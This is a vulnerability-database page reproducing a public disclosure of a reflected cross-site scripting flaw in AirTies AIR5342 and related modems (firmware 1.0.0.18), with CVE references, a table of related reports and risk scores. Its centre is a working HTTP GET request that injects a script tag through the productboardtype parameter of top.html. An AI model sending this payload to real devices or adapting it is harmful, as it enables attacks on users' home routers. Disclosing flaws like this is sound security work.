Vulners
Lucene search
Airties AIR5342 1.0.0.18 - Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 44 |
|---|---|---|---|---|
 | Airties AIR5021 1.0.0.18 Cross Site Scripting Vulnerability | 1 Oct 201800:00 | – | zdt |
| Airties AIR5343v2 1.0.0.18 Cross Site Scripting Vulnerability | 1 Oct 201800:00 | – | zdt |
| Airties AIR5443v2 1.0.0.18 Cross Site Scripting Vulnerability | 1 Oct 201800:00 | – | zdt |
| Airties AIR5453 1.0.0.18 Cross Site Scripting Vulnerability | 1 Oct 201800:00 | – | zdt |
| Airties AIR5750 1.0.0.18 Cross Site Scripting Vulnerability | 1 Oct 201800:00 | – | zdt |
| Airties AIR5342 1.0.0.18 - Cross-Site Scripting Vulnerability | 3 Oct 201800:00 | – | zdt |
 | AirTies Air 5750 cross-site scripting vulnerability (CNVD-2018-20474) | 9 Oct 201800:00 | – | cnvd |
| AirTies Air 5442 Cross-Site Scripting Vulnerability | 9 Oct 201800:00 | – | cnvd |
| AirTies Air 5453 Cross-Site Scripting Vulnerability | 9 Oct 201800:00 | – | cnvd |
| AirTies Air 5750 Cross-Site Scripting Vulnerability | 9 Oct 201800:00 | – | cnvd |
10
# Exploit Title: Airties AIR5342 1.0.0.18 - Cross-Site Scripting
# Date: 25-09-2018
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: [https://www.airties.com/]
# Software [http://www.airties.com.tr/support/dcenter/]
# Version: [1.0.0.18]
# Affected products: AIR5342, AIR5343v2, AIR5443v2, AIR5453, AIR5442, AIR5750, AIR5650, AIR5021
# Tested on: MacOS High Sierra / Linux Mint / Windows 10
# CVE : CVE-2018-17593, CVE-2018-17590, CVE-2018-17591, CVE-2018-17588, CVE-2018-17587
# A cross site scripting vulnerability has been discovered in the AIR5342 modem of the AirTies manufacturer.
# AirTies Air 5342 devices have XSS via the top.html productboardtype parameter.
# HTTP Requests :
GET /top.html?page=main&productboardtype=%3Cscript%3Ealert(%22Ismail%20Tasdelen%22);%3C/script%3E HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Oct 2018 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
CVSS 36.1
EPSS0.00296